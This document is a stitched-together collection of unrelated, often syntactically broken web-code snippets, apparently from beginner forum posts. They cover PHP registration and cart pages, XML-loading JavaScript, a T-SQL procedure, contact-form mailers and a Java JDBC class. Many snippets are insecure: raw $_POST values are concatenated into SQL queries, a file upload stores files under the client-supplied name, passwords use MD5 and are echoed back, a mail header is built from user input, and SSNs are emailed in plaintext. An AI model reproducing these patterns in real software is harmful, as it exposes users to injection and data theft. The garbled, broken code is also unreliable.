?>

class SingletonClass
{
    protected static $_instance = null;

    protected function __construct()
    {
    }

    static public function getInstance()
    {
        if ( self::$_instance === null )
        {
            self::$_instance = new self();

            echo "instance";
        }

        return self::$_instance;
    }
}

include( "classes/SingletonClass.php" );

$singleton = SingletonClass::getInstance();

include( "classes/SingletonClass.php" );

$singleton = SingletonClass::getInstance();

<?php
require_once "connect_to_mysql.php";

//$mysqli = new mysqli("localhost","user","pw","db");

$result = mysql_query("SELECT * FROM example")
or die(mysql_error());
echo "<table border='1'>";
echo "<tr> <th>Name</th> <th>Age</th> </tr>";
while($row = mysql_fetch_array( $result )) {
echo "<tr><td>";
echo $row['name'];
echo "</td><td>";
echo $row['age'];
echo "</td></tr>";
}
echo "</table>";

//mysqli_close($mysqli);

?>

<php

echo "<h1>Register</h1>";

$submit = strip_tags($_POST['submit']);
$firstname = strip_tags($_POST['firstname']);
$username = strip_tags($_POST['username']);
$password = strip_tags($_POST['password']));
$repeatpassword = strip_tags($_POST['repeatpassword']));
$date = date("Y-m-d");


if ($submit)
{
if ($firstname&&$username&&$password&&$repeatpassword)
{

$password = md5($password);
$repeat = md5($repeatpassword);

if ($password==$repeatpassword);
{

if (strlen($firstname)>25||strlen($username)>25)
{
echo "Max character length for first name or username is 25.";
}
else
{
if (strlen($password)>25||strlen(password)<6)
{
echo "Password is only allowed 6-25 characters long.";
}
{
....
}

}
else
echo "Your passwords do not match.";
}
else
echo "Please fill in all fields.";
}
?>

<html>

<p>

<form action='register.php' method='POST'>

<table>

<tr>

<td>

Your first name:

</td>

<td>

<input type='text' name='register'>

</td>

</tr>


<tr>

<td>

Choose a username:

</td>

<td>

<input type='text' name='username'>

</td>

</tr>


<tr>

<td>

Choose a password:

</td>

<td>

<input type='password' name='password'>

</td>

</tr>


<tr>

<td>

Repeat your password:

</td>

<td>

<input type='password' name='repeatpassword'>

</td>

</tr>

</table>

<p>
<input type='submit' name='submit value='register'>

</form>

</html>

<table width="100%" border="0" cellpadding="2">
<tr>
<td colspan="2" nowrap="nowrap" bgcolor="#ddecc3" class="fstyle_3"><div id="list_item2"><?php echo $title ?>                                                                                                                         <a href="BasicTutorial.htm" target="_blank" class="style6">>Search Tutorial<</a></div></td>
</tr>
<tr>
<td class="fstyle_1">    <a href="search.php" class="style1">Main</a> <?php echo($string); ?></td>
</tr>
</table>

<?php
function pythagoras($x,$y,$z=0)
{
  return sqrt($x*$x + $y*$y + $z*$z);
}
?>

if (isset($_REQUEST['do']) && ($_REQUEST['do'] == 'add'))
{
if (isset($_GET['qty2']))
{
$qty2 = (int) $_GET['qty2'];
}
else
{
$qty2 = 1;
}
if (isset($_GET['fn']))
{
$fn = (int) $_GET['fn'];
}
elseif (isset($_POST['fn']))
{
$fn = (int) $_POST['fn'];
}
else
{
$fn = 0;
}
if (isset($_GET['var']))
{
$var = (int) $_GET['var'];
}
elseif (isset($_POST['var']))
{
$var = (int) $_POST['var'];
}
else
{
$var = 0;
}
if (isset($_GET['age']))
{
$age = (int) $_GET['age'];
}
elseif (isset($_POST['age']))
{
$age = (int) $_POST['age'];
}
else
{
$age = 0;
}
if (isset($_GET['id']))
{
$id = (int) $_GET['id'];
if ($id > 0)
{
$id_query = "SELECT product, price FROM products WHERE product_id = $id";
$id_result = mysqli_query ($dbc, $id_query);
if (mysqli_num_rows($id_result) == 1)
{
if ($fn != 0)
{
$_SESSION['cart'][$id]['fn'] = $fn;
}
if ($var != 0)
{
$_SESSION['cart'][$id]['var'] = $var;
}
if ($age != 0)
{
$_SESSION['cart'][$id]['age'] = $age;
}
list ($product, $price) = mysqli_fetch_array($id_result, MYSQLI_NUM);
if (isset($_SESSION['cart'][$id]))
{
$_SESSION['cart'][$id]['qty'] += $qty2;
echo "<p>Another copy of the following item has been added to your cart: <strong>$product</strong>.</p>\n";
}
else
{
$_SESSION['cart'][$id]['qty'] = $qty2;
echo "<p>The following item has been added to your cart: <strong>$product</strong>.</p>\n";
}
}
}
}
}
elseif (isset($_REQUEST['do']) && ($_REQUEST['do'] == 'update'))
{
foreach ($_POST['qty'] as $k => $v)
{
$pid = (int) $k;
$qty = (int) $v;
if ($qty == 0)
{
unset ($_SESSION['cart'][$pid]);
}
elseif ($qty > 0)
{
$_SESSION['cart'][$pid]['qty'] = $qty;
}
}
foreach ($_POST['fn'] as $u => $i)
{
$pid = (int) $u;
$fn = (int) $i;
$_SESSION['cart'][$pid]['fn'] = $fn;
}
foreach ($_POST['age'] as $r => $o)
{
$pid = (int) $r;
$age = (int) $o;
$_SESSION['cart'][$pid]['age'] = $age;
}
echo "<p>The cart has been updated.</p>\n";
}
if ($_SESSION['cart'] && !empty($_SESSION['cart']))
{
$cart_query = "SELECT product_id, product, code, detail, price, discount_id, img1 FROM products WHERE product_id IN (";
foreach($_SESSION['cart'] as $id => $v)
{
$cart_query .= (int) $id . ',';
}
$cart_query = substr ($cart_query, 0, -1) . ") ORDER BY product";
$cart_result = mysqli_query ($dbc, $cart_query);
if (mysqli_num_rows($cart_result) > 0)
{
echo "<form action=\"cart.php\" method=\"post\" name=\"cart\" id=\"cart\">\n";
echo "<table style=\"margin-top:15px;\">\n";
echo "<tr><th>Item</th><th>Description</th><th>Qty</th><th class=\"right\">Price</th></tr>\n";
$total = 0;
while ($row = mysqli_fetch_array($cart_result, MYSQLI_ASSOC))
{
$product_name = $row['product'];
$product_code = $row['code'];
$product_detail = $row['detail'];
$price = $row['price'];
$price_unaltered = $row['price'];
if ($row['discount_id'] != '')
{
$discount = $row['discount_id'];
$discount = (int) $discount;
}
else
{
$discount = 0;
}
$img = $row['img1'];
$size = getimagesize("products/basket/{$img}");
$subtotal = $_SESSION['cart'][$row['product_id']]['qty']* $price;
$total += $subtotal;

// depending on total apply reductions on total
if ($total >= 3000)
{
if ($discount == 2)
{
$price = $price * 0.9;
}
if ($discount == 1)
{
$price = $price * 1;
}
else
{
$price = $price;
}
}
$subtotal2 = $_SESSION['cart'][$row['product_id']]['qty']* $price;
$total2 += $subtotal2;
$grand_total = $total2;
$saving = $total - $total2;
$percent = (100/$total) * $total2;
$percent = 100 - $percent;
$price = number_format($price, 2);
echo "<tr>";
echo "<td><img src=\"" . $basketPath . $img . "\" " . $size[3] . " alt=\"" . $product_name . "\" /></td>";
echo "<td>" . $product_name . "<br />Product Code: " . $product_code . "<br />Size in cm: " . $product_detail . "<br />";
$fn_name = $_SESSION['cart'][$row['product_id']]['fn'];
$age_name = $_SESSION['cart'][$row['product_id']]['age'];
echo "</td>";
echo "<td><input type=\"text\" style=\"width: 2em\" name=\"qty[{$row['product_id']}]\" value=\"{$_SESSION['cart'][$row['product_id']]['qty']}\" /> <a href='#'><img src='assets/delete.gif' width='15' height='15' alt='Click to remove item' onclick=\"document.forms['cart'].elements['qty[{$row['product_id']}]'].value='0'; document.forms['cart'].submit()\"></a>";
echo "<p style=\"margin-left:0;\">";
if ($price_unaltered == 0)
{
echo "<span class=\"small\">POA</span>";
}
else
{
echo "<span class=\"small\">Per item: £" . $price_unaltered . "</span>";
}
echo "</p>";
echo "</td>";
if ($subtotal2 == 0)
{
echo "<td class=\"right\">POA</td>";
}
else
{
echo "<td class=\"right\">£" . number_format($subtotal, 2) . "</td>";
}
echo "</tr>\n";
}
echo "<tr><td colspan=\"3\" class=\"right noBorder\">Sub Total:</td><td class=\"right\">£ " . number_format($total, 2) . "</td></tr>\n";
echo "<tr><td colspan=\"3\" class=\"right noBorder\">Discount (" . number_format($percent, 2) . "%):</td><td class=\"right\">£ " . number_format($saving, 2) . "</td></tr>\n";
echo "<tr><td colspan=\"3\" class=\"right noBorder\"><strong>Grand Total (incl. VAT and delivery):</strong></td><td class=\"right\"><strong>£ " . number_format($grand_total, 2) . "</strong></td></tr>\n";
echo "<tr><td colspan=\"4\" class=\"noBorder\"> </td></tr>\n";
echo "<tr><td colspan=\"4\" class=\"right noBorder\" style=\"padding-right:0;\">";
echo "<input type=\"hidden\" name=\"do\" value=\"update\" />\n";
echo "<input type=\"submit\" value=\"Update Total\" id=\"submitted\" name=\"submitted\" />";
echo "</td></tr>\n";
echo "<tr><td colspan=\"4\" class=\"noBorder\"> </td></tr>\n";
echo "<tr><td colspan=\"4\" class=\"noBorder\">";

if (isset($_SESSION['back']) && $_SESSION['back'] != '')
{
$backlink = $_SESSION['back'];
}
else
{
$backlink = 'index.php';
}
echo "<a href=\"" . $backlink . "\" title=\"Continue Shopping\">Continue Shopping</a> </td></tr>\n";
echo "</table>\n";
echo "</form>\n";
}
}
else
{
echo "<p>Currently there are no items added to this page.</p>\n";
}

$cart_query = "SELECT product_id, product, code, detail, price, discount_id, img1 FROM products WHERE product_id IN (";
foreach($_SESSION['cart'] as $id => $v)
{
$cart_query .= (int) $id . ',';
}
$cart_query = substr ($cart_query, 0, -1) . ") ORDER BY product";
$cart_result = mysqli_query ($dbc, $cart_query);

if (in_array(strtolower($word), array('you'))) {
echo "You seem to be addressing me, {$post_name}</br></br>";
}
elseif (in_array(strtolower($word), array('great', 'good', 'fun', 'wonderful', 'beautiful', 'love', 'happy', 'exciting', 'joy',))) {
echo "You're exuding positive energy. </br></br>";
}
$sql = ' ';
$sql = "SELECT a.id, a.subject, b.echo FROM terms AS a, echo_light AS b WHERE a.id=b.id AND (a.subject LIKE '%$word%' OR a.subject LIKE '%$word%')";
$result = mysql_query($sql) or die (mysql_error ());
$n=0;
while($row = mysql_fetch_assoc($result))
{
$n++;
echo nl2br(stripslashes($row['echo']));
    echo "<br>";
}
if (in_array(strtolower($word), array('desperate','anxious', 'panic', 'distressed', 'negative', 'stress', 'stressed', 'dark', 'sad', 'depressed', 'hurt', 'bleak', 'gloom', 'bad', 'lonely', 'alone', 'alien',))) {
echo "Your tone seems grim or distressing, {$post_name}.";
}
$sqld = ' ';
$sqld = "SELECT a.id, a.subject, b.echod FROM terms AS a, echo_dark AS b WHERE a.id=b.id AND (a.subject LIKE '%$word%' OR a.subject LIKE '%$word%')";
$result = mysql_query($sqld) or die (mysql_error ());
$n=0;
while($row = mysql_fetch_assoc($result))
{
$n++;
echo nl2br(stripslashes($row['echod']));
    echo "<br>";
}

<?php
# FileName="Connection_php_mysql.htm"
# Type="MYSQL"
# HTTP="true"
$hostname_login = "mysql"; // This is the name that Yahoo requires - was working fine before I moved all to ssl folder
$database_login = "infoondemand";
$username_login = "creacontech"; // This is my domain name and username that I set up in Yahoo
$password_login = "**********";
$login = mysql_pconnect($hostname_login, $username_login, $password_login) or trigger_error(mysql_error(),E_USER_ERROR);

$_SESSION['MM_login'] = $login;

?>

<?php require_once("connections/login.php') ?>

<?xml version="1.0" ?>
<person>
     <name>Laura Long</name>
     <age>34</age>
</person>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
<html>

<head>

<script type="text/javascript">
var xmlDoc;
if (window.XMLHttpRequest)
  {
  xhttp=new XMLHttpRequest();
  }
else // Internet Explorer 5/6
  {
  xhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xhttp.open("GET","name.xml",false);
xhttp.send("");
xmlDoc=xhttp.responseXML;

var x=xmlDoc.getElementsByTagName("person");

function show(i)
{
name=(x[i].getElementsByTagName("name")[0].childNodes[0].nodeValue);
age=(x[i].getElementsByTagName("age")[0].childNodes[0].nodeValue);
txt="Name: "+name+"<br />Title: "+age+"<br />;
document.getElementById("show").innerHTML=txt;
}
</script>

</head>
<body>
<div id='show'>Names and age will be here</div>
<br />
<script type="text/javascript">
document.write("<table border='1'>");
for (var i=0;i<x.length;i++)
  {
  document.write("<tr onclick='show(" + i + ")'>");
  document.write("<td>");
  document.write(x[i].getElementsByTagName("name")[0].childNodes[0].nodeValue);
  document.write("</td><td>");
  document.write(x[i].getElementsByTagName("age")[0].childNodes[0].nodeValue);
  document.write("</td></tr>");
  }
document.write("</table>");
</script>
</body>
</html>

<?php
class FormValidator {
  function isEmpty($field, $msg) {
    $value = $this->_getValue($field);
    if (trim($value) == "") {
      $this->_errorList[] = array("field" => $field, "value" => $value, "msg" => $msg);
      return false;
    }
    else {
      return true;
    }
  }
}
?>

<html>
<head>

<script type="text/javascript">
var xmlDoc;
if (window.XMLHttpRequest)
  {
  xhttp=new XMLHttpRequest();
  }
else // Internet Explorer 5/6
  {
  xhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xhttp.open("GET","cd_catalog.xml",false);
xhttp.send("");
xmlDoc=xhttp.responseXML;

var x=xmlDoc.getElementsByTagName("CD");
i=0;

function display()
{
artist=(x[i].getElementsByTagName("ARTIST")[0].childNodes[0].nodeValue);
title=(x[i].getElementsByTagName("TITLE")[0].childNodes[0].nodeValue);
year=(x[i].getElementsByTagName("YEAR")[0].childNodes[0].nodeValue);
txt="Artist: " + artist + "<br />Title: " + title + "<br />Year: "+ year;
document.getElementById("show").innerHTML=txt;
}
</script>
</head>

<body onload="display()">
<div id='show'></div>

</body>
</html>

<html>
<head>
<title>File Upload Form</title>
</head>
<body>
This form allows you to upload a file to the server.<br>

<form action="getfile.php" method="post"><br>
Type (or select) Filename: <input type="file" name="uploadFile">
<input type="submit" value="Upload File">
</form>

</body>

<html>
<head>
<title>Process Uploaded File</title>
</head>
<body>
<?php

move_uploaded_file ($_FILES['uploadFile'] ['tmp_name'],
"/uploads/{$_FILES['uploadFile'] ['name']}")

?>
</body>
</html>

<html>
<head>
<script language="javascript" type="text/javascript" >
<?php
ob_start(); //Output buffering

$imgDir = "images/"; // the directory the iimages reside in
$counter = 0; // our file counter;
$list = "";

//regex pattern to check file extensions
$pattern="(.jpg$)|(.png$)";

//read through the dir and create the img list
if($dir = opendir($imgDir)) {
while(false !== ($file = readdir($dir))){
if(eregi($pattern, $file)){
$path = $imgDir . $file;
$list .= 'pict['.$counter.']="'.$path .'";' /*.chr(13)*/;
$counter ;
}
}
closedir($dir);
}
//echo the array declaration
echo "pict = new Array();" /*. chr(13)*/;
echo $list;
ob_end_flush();
?>

var i=0;
var paused=false;
var running=false;

function next()
{
if(running==true)
{
stop();
}
if(i<pict.length-1)
{
i ;
document.getElementById('picture').src=pict[i];
document.getElementById('number').innerHTML="Picture " (i 1);
}
else
{
i=0;
document.getElementById('picture').src=pict[i];
document.getElementById('number').innerHTML="Picture " (i 1);
}
}

function prev()
{
if(running==true)
{
stop();
}
if (i>0)
{
i--;
document.getElementById('picture').src=pict[i];
document.getElementById('number').innerHTML="Picture " (i 1);
}
else
{
i=pict.length-1;
document.getElementById('picture').src=pict[i];
document.getElementById('number').innerHTML="Picture " (i 1);
}
}

function startSlide()
{
running=true;
interval = setInterval(FFSlideshow,3000);
document.getElementById("slideshow").disabled=true;
document.getElementById('number').innerHTML="Picture " (i 1);
}

function FFSlideshow()
{
if (i<pict.length-1)
{
document.getElementById("slideshow").disabled=true;
i
document.getElementById('picture').src=pict[i];
document.getElementById('number').innerHTML="Picture " (i 1);
}
else
{
i=0;
document.getElementById('picture').src=pict[i];
document.getElementById('number').innerHTML="Picture " (i 1);
}
}

function pause()
{
if(running==true)
{
if(paused==false)
{
paused=true;
document.getElementById("pause").value="resume";
clearInterval(interval);
document.getElementById('number').innerHTML="Paused";
}
else
{
startSlide()
paused=false;
document.getElementById("pause").value="pause";
}
}
}

function stop()
{
document.getElementById("slideshow").disabled=false;
document.getElementById('number').innerHTML="End of slideshow";
running=false;
paused=false;
document.getElementById("pause").value="pause";
clearInterval(interval);
}
</script>
</head>
<body>
<center>
<div id="pictureContainer">
<img id="picture" name="picture" src="images/1.png" /></div><br />
<input id="prev" type="button" value="prev" onclick="prev()" />
<input id="next" type="button" value="next" onclick="next()" />
<input id="slideshow" type="button" value="slideshow" onclick="startSlide()" />
<input id="stop" type="button" value="stop" onclick="stop()" />
<input id="pause" type="button" value="pause" onclick="pause()" /><br />
<div id="number">Picture 1</div>
</center>
</body>
</html>

$_SESSION['admin'] = $admin;

$query = "SELECT finish_id, finish, img FROM finishes WHERE range_id = $prange";
$result = mysqli_query ($dbc, query);

if (mysqli_num_rows($finish_result) > 0)
{
echo "<select name=\"fn\" id=\"fn\">";
echo "<option value=\"0\">Select finish</option>";
while ($row = mysqli_fetch_array ($finish_result, MYSQLI_ASSOC))
{
$finish_id = $row['finish_id'];
$finish = $row['finish'];
echo "<option value=\"" . $finish_id . "\"";
echo ">" . $finish . "</option>";
}
echo "</select> ";
while ($row = mysqli_fetch_array ($finish_result, MYSQLI_ASSOC))
{
$finish_id = $row['finish_id'];
$finish = $row['finish'];
$img = $row['img'];
$finishImgPath = "assets/finishes/preview/";
$size = getimagesize("assets/finishes/preview/{$img}");
echo "<img src=\"" . $mainPath . $finishImgPath . $img . "\" " . $size[3] . " alt=\"" . $finish . "\" title=\"" . $finish . "\" /></a>";
}
}

USE [SQL_reporting]
GO
/****** Object: StoredProcedure [dbo].[pp_Material_Request_CANCELED_byUser] Script Date: 10/27/2009 12:32:31 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- ==================================================
-- Author: <me>
-- Modified: <me>
-- Create date: <7/30/2008>
-- Description: [pp_Material_Request_CANCELED_byUser]
-- ==================================================

ALTER PROCEDURE [dbo].[pp_Material_Request_CANCELED_byUser]
(
@facility varchar(10), @USER_VAL varchar(5000)
)

AS

SET NOCOUNT ON
SET ANSI_NULLS ON

DECLARE @connection_string As varchar(50)
SET @connection_string = dbo.linked_server(@facility)
--use the @connection_string variable in your calls for
--openquery('+@connection_string+',
SET @facility = dbo.change_BRE_to_BR(@facility)

-- end lines


SET @USER_VAL = dbo.format_string(@USER_VAL)


DECLARE @SQL VARCHAR(8000)
SET @SQL = '
SELECT tidmrmst.material_request, tidmrmst.matl_request_type,
tidmrmst.mr_status, tidmrmst.need_date_matl, tidmrmst.status_date,
tidmrmst.resp_id, tidmrmst.job_type, tidmrmst.reference_type,
tidmrmst.reference_nbr, tidmrmst.reference_sub_nbr, tidmrmst.title,
lower(ltrim(rtrim(tidprefs.preference_value))) ||''@''||
lower(ltrim(rtrim(tidprefs1.preference_value))) As email,
rtrim(tidemplo.first_name) || '' '' || ltrim(tidemplo.last_name) As name

FROM cb10.tidmrmst, cb10.tidprefs, cb10.tidprefs tidprefs1, tidemplo
WHERE (
(tidmrmst.resp_id IN ('+@USER_VAL+'))
AND (tidmrmst.facility = '''+@facility+''')
AND ((tidmrmst.mr_status = ''CANCELED''))
AND ((tidmrmst.resp_id = tidemplo.passport))
AND ((tidmrmst.resp_id = tidprefs.pref_qual_value (+)))
AND ((tidmrmst.resp_id = tidprefs1.pref_qual_value (+)))
AND ((tidprefs.preference_name = ''EMAIL USER ID''))
AND ((tidprefs1.preference_name = ''EMAIL USER NETADDR''))
)
ORDER BY tidmrmst.resp_id'

SET @SQL = 'select * from openquery('+@connection_string+',''' + REPLACE(@SQL,'''','''''') + ''')'
EXEC (@SQL)

SET NOCOUNT OFF

<p class="label"><label for="evt_hour">FROM:</label>
<select name="evt_hour" id="evt_hour">
<option value="0">00</option>
<?php

for ($i = 1; $i < 24; $i++)
{
printf('<option value="%d">%02d</option>', $i, $i);
}
?>
</select> : <select name="evt_min">
<?php
for ($i = 0; $i < 59; $i += 30)
{
printf('<option value="%d">%02d</option>', $i, $i);
}
?>
</select>
</p>

foreach($_POST as $key=>$value)
{
$S.= $key .": ". $value."\n";
}

SELECT product_id, product, img1 FROM products WHERE product_id IN (SELECT product_id FROM productCat WHERE category_id = 9) ORDER BY (SELECT usort FROM productCat)

$sql = "INSERT INTO productCat (usort, category_id, product_id) VALUES ";
foreach ($category as $v)
{
$count_query = "SELECT COUNT(*) FROM productCat WHERE category_id = $v";
$count_result = mysqli_query($dbc, $count_query);
$r = mysqli_fetch_row($count_result);
$max = $r[0];
$max = $max + 1;
$sql .= "('$max', '$v', '$id'),";
}

<?php
    // Make a MySQL Connection
        mysql_connect("*****", "*****", "*****") or die(mysql_error());
        mysql_select_db("******") or die(mysql_error());
?>

    <table border="1" cellpadding="2" cellspacing="0" width="100%">

        <tr>
        
        <td width="25%">No Filter</td>
                    
                    
            <td width="25%"><?php
            $query = "SELECT SUM(profit) FROM *****";
        
            $result = mysql_query($query) or die(mysql_error());

        // Print out result
            while($row = mysql_fetch_array($result)){
            echo $row['SUM(profit)'];
        echo "<br />";
    }
    ?></td>
    
    
        <td width="25%"><?php
        $query = "SELECT COUNT(horse) FROM ***** WHERE pos ='1'";
    
        $result = mysql_query($query) or die(mysql_error());

    // Print out result
        while($row = mysql_fetch_array($result)){
        echo "Number of winners:". $row['COUNT(horse)'] ." ". $row['type'] ."";
        echo "<br />";
        }
        ?></td>
        
        
        <td width="25%"><?php
        $query = "SELECT COUNT(horse) FROM *****";
    
        $result = mysql_query($query) or die(mysql_error());

    // Print out result
        while($row = mysql_fetch_array($result)){
        echo "Number of qualifers:". $row['COUNT(horse)'] ." ". $row['type'] ."";
        echo "<br />";
}
?></td>
    </tr>
</table>

<?PHP

        session_start();
        include 'db.php';
    
        if(!$_POST['add'])
        {
            echo '<form action="test.php" method="POST">';    
            $sql    = "SELECT * FROM `features` ORDER BY `feature` ASC";
            $result = mysql_query($sql);
            while($r = mysql_fetch_array($result))
            {    
                echo $r['feature'] . '<input type="checkbox" name="' . $r['feature'] . '" value="' . $r['feature'] . '">  <br> ';
            }
            echo '<input type="submit" value="Submit" name="add">';
            echo '</form>';        
        }
            else
        {            
            $sql2    = "SELECT * FROM `features` ORDER BY `feature` ASC";
            $result2 = mysql_query($sql2);
            while($r2 = mysql_fetch_array($result2))
            {            
                $var = $r2['feature'];
                if(isset($_POST[$var]))
                echo $_POST[$var] . '<br>';                        
            }
        }
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <title>Edit Profile</title>
    <link href="CSS/profile.css" rel="stylesheet" type="text/css">
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <meta http-equiv="Content-Style-Type" content="text/css">
</head>
<body>
<div class="centered_div">
<div class="header">
My Will Made Easy - Attorney Profile Editor
</div>
<div class="profile_text">
<?php
$con = mysql_connect("localhost","###","###");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

mysql_select_db("bigsilkd_attorneys", $con);

if (!empty($_POST['users']))
{
  $result = mysql_query('SELECT * FROM attorneys WHERE users=\'' . mysql_real_escape_string($_POST['users']) . '\'') or exit(mysql_error());
  if ($row = mysql_fetch_assoc($result))
  {
    ?>
User Name: <input type="text" size="20" name="users" value="<?php echo $row['users']; ?>">
Password: <input type="text" size="10" name="password" value="<?php echo $row['password']; ?>"> <br />
Law Firm Name: <input type="text" size="60" name="LawFirmName" value="<?php echo $row['LawFirmName']; ?>"> <br />
Main Office Address: <input type="text" size="60" name="MainOfficeAddress" value="<?php echo $row['MainOfficeAddress']; ?>"> <br />
City: <input type="text" name="MainOfficeCity" value="<?php echo $row['MainOfficeCity']; ?>">
ST: <input type="text" size="3" name="MainOfficeState" value="<?php echo $row['MainOfficeState']; ?>">
Zip: <input type="text" size="10" name="MainOfficeZip" value="<?php echo $row['MainOfficeZip']; ?>"> <br />
Main Phone: <input type="text" name="MainOfficePhone" value="<?php echo $row['MainOfficePhone']; ?>"> <br />
Main Email Address: <input type="text" name="MainOfficeEmail" value="<?php echo $row['MainOfficeEmail']; ?>"> <br />
Website Address: <input type="text" size="60" name="WebAddress" value="<?php echo $row['WebAddress']; ?>"> <br />
Firm Overview: <textarea name='Overview' rows='5' cols='40'value="<?php echo $row['Overview']; ?>"></textarea><br />
Years of Experience: <input type="text" name="YearsofExperience" value="<?php echo $row['YearsofExperience']; ?>"> <br />
Languages Spoken: <textarea name='Languages' rows='5' cols='40'value="<?php echo $row['Languages']; ?>"></textarea><br />
Geographical Areas Serving: <textarea name='GeographiesServing' rows='5' cols='40'value="<?php echo $row['GeographiesServing']; ?>"></textarea><br />
Areas of Legal Practice: <textarea name='PracticeAreas' rows='5' cols='40'value="<?php echo $row['PracticeAreas']; ?>"></textarea><br />
Primary Attorney's Name: <input type="text" name="MainAttorneyName" value="<?php echo $row['MainAttorneyName']; ?>"> <br />
Primary Attorney's Phone Number: <input type="text" name="MainAttorneyPhone" value="<?php echo $row['MainAttorneyPhone']; ?>"> <br />
Primary Attorney's Email Address: <input type="text" name="MainAttorneyEmail" value="<?php echo $row['MainAttorneyEmail']; ?>"> <br />
    <?php
  }
  else
  {
    echo 'Username not found.';
    ?>
<div class="profile_text">
<form action="retrieve2.php" method="post">
  User name: <input type="text" size="90" name="users" value="<?php echo $_POST['users']; ?>">
</form>
    <?php
  }
}
else
{
  echo 'You must enter a user';
}
?>
</div>
</div>
</body>
</html>

<?php
$con = mysql_connect("localhost","###","###");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

mysql_select_db("bigsilkd_attorneys", $con);

$sql="INSERT INTO attorneys (LawFirmName, MainOfficeAddress, MainOfficeCity, MainOfficeState, MainOfficeZip, MainOfficePhone, MainOfficeEmail, WebAddress, Overview, YearsofExperience, Languages, GeographiesServing, PracticeAreas, MainAttorneyName, MainAttorneyPhone, MainAttorneyEmail)
VALUES
('$_POST[LawFirmName]','$_POST[MainOfficeAddress]','$_POST[MainOfficeCity]','$_POST[MainOfficeState]','$_POST[MainOfficeZip]','$_POST[MainOfficePhone]','$_POST[MainOfficeEmail]','$_POST[WebAddress]','$_POST[Overview]','$_POST[YearsofExperience]','$_POST[Languages]','$_POST[GeographiesServing]','$_POST[PracticeAreas]','$_POST[MainAttorneyName]','$_POST[MainAttorneyPhone]','$_POST[MainAttorneyEmail]')";

if (!mysql_query($sql,$con))
  {
  die('Error: ' . mysql_error());
  }
echo "1 record added";

mysql_close($con)
?>

<?php

/* Email Variables */

$emailSubject = 'contactformprocess!';
$webMaster = 'info@risksolutions.ca';


/* Data Variables */

$email = $_POST['email'];
$name = $_POST['name'];
$comments = $_POST['comments'];

$body = <<<EOD
<br><hr><br>
Name: $name <br>
Email: $email <br>
Comments: $comments <br>
EOD;


$headers = "From: $email\r\n";
$headers .= "Content-type: text/html\r\n";
$success = mail($webMaster, $emailSubject, $body,
$headers);


/* Results rendered as HTML */

$theResults = <<<EOD
<html>
<head>
<title>sent message</title>
<meta http-equiv="refresh" content="4;URL=http://www.risksolutions.ca/ContactUS.php">
<style type="text/css">

<!--
body {
background-color: #FFF;
font-family: Arial, Helvetica, sans-serif;
font-size: 20px;
font-style: normal;
line-height: normal;
font-weight: normal;
color: #fec001;
text-decoration: none;
padding-top: 200px;
margin-left: 150px;
width: 800px;
}

-->
</style>
</head>
<div align="center">"We have received your email and we will respond as soon as possible.!
You will return to the Contact Us page in a few seconds. Thank you. !"</div>

</div>
</body>
</html>
EOD;
echo "$theResults";
?>

/*

package querydb;


import java.sql.*;


public class Querydb {

//Class variables
Connection conn = null; //Connection object for MySQL connection
ResultSet queryResults; //SQL results


//Constructor
//Query DB for events within a specific primary and secondary category
public Querydb(String event_Category_Primary, String event_Category_Secondary){
getConnection();
executeStatement(event_Category_Primary, event_Category_Secondary);
terminateConnection();
}


//Pepares SQL statement based on arguments received by constructor
//Events within a specific primary & secondary category are returned
public void executeStatement(String event_Category_Primary, String event_Category_Secondary){

try{
//Prepare and execute statement for SQL query
System.out.println("QUERYDB: Executing query for all elements under: " + event_Category_Primary + " | " + event_Category_Secondary);
Statement stmt = conn.createStatement();
queryResults = stmt.executeQuery("SELECT * FROM mydb.events " +
"WHERE event_Category_Primary = '" + event_Category_Primary + "' AND event_Category_Secondary = '" + event_Category_Secondary + "' " +
"ORDER BY CASE " +
"WHEN event_startYearSuffix = 'MYA' THEN 1000000 * event_Start " +
"WHEN event_startYearSuffix = 'AD' THEN -1 * event_Start " +
"ELSE event_Start END;");

//THIS WORKS - I CAN SEE ALL RESULTS AT THIS POINT IN queryResults
while (queryResults.next()){
System.out.println("QUERYDB: event_Name = " + queryResults.getString("event_Name"));
}


}
catch (Exception e)
{
System.out.println("QUERYDB: Cannot create SQL Statement: " + e);
}
}




//Initiates DB connection with MySQL server
public void getConnection(){

System.out.println("QUERYDB: Connecting to DB...");
try
{
String userName = "test";
String password = "test";
String url = "jdbc:mysql://localhost:3360/mydb";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url, userName, password);
System.out.println("QUERYDB: Database connection established!");
}
catch (Exception e)
{
System.err.println("QUERYDB: Cannot connect to database");
System.out.println(e);
}
}


//Terminates the MySQL DB connection
public void terminateConnection(){

//Attempt to terminate the connection
try{
System.out.println("QUERYDB: Closing DB connection...");
conn.close();
}
catch (Exception e){
System.out.println(e);
}

}
}

package querydb;

import java.sql.*;



public class testInterface {

public static void main(String[] args) throws SQLException{


System.out.println("TestInterface: Creating Querydb ojbect...");
Querydb qdbObj = new Querydb("What", "Arts");

String s = null;




try{
//DOES NOT WORK - I CANNOT SEE THE RESULTS
while(qdbObj.queryResults.next()){
System.out.println("If you can read this, queryResults is not null");
}
} catch (SQLException e){}

}

}

$to = "creacontech@windstream.net";
$from = "rob@creacontech.com";
$headers = "From: $from";
$subject = "WOTC Questionnaire Report Request";
$message = $cust." has executed a WOTC Questionnaire for: \n \n".
" ".$arrappl[fullname].", SSN: ".$arrappl[ssn].", DOB: ".$arrappl[dob].
", ".$arrappl[race].", ".$######."\n Address: ".$address.", ".
$arrappl[city].", ".$arrappl[state].", ".$arrappl[zip].", Phone: ".
$arrappl[phone]."\n \n Recruited By: ".$arrappl[recname].", Title: "
.$arrappl[rectitl].", Phone: ".$arrappl[recphn].", Extn: ".$arrappl[recphnext].
"\n Address: ".$rcraddr.", ".$arrappl[reccity].", ".
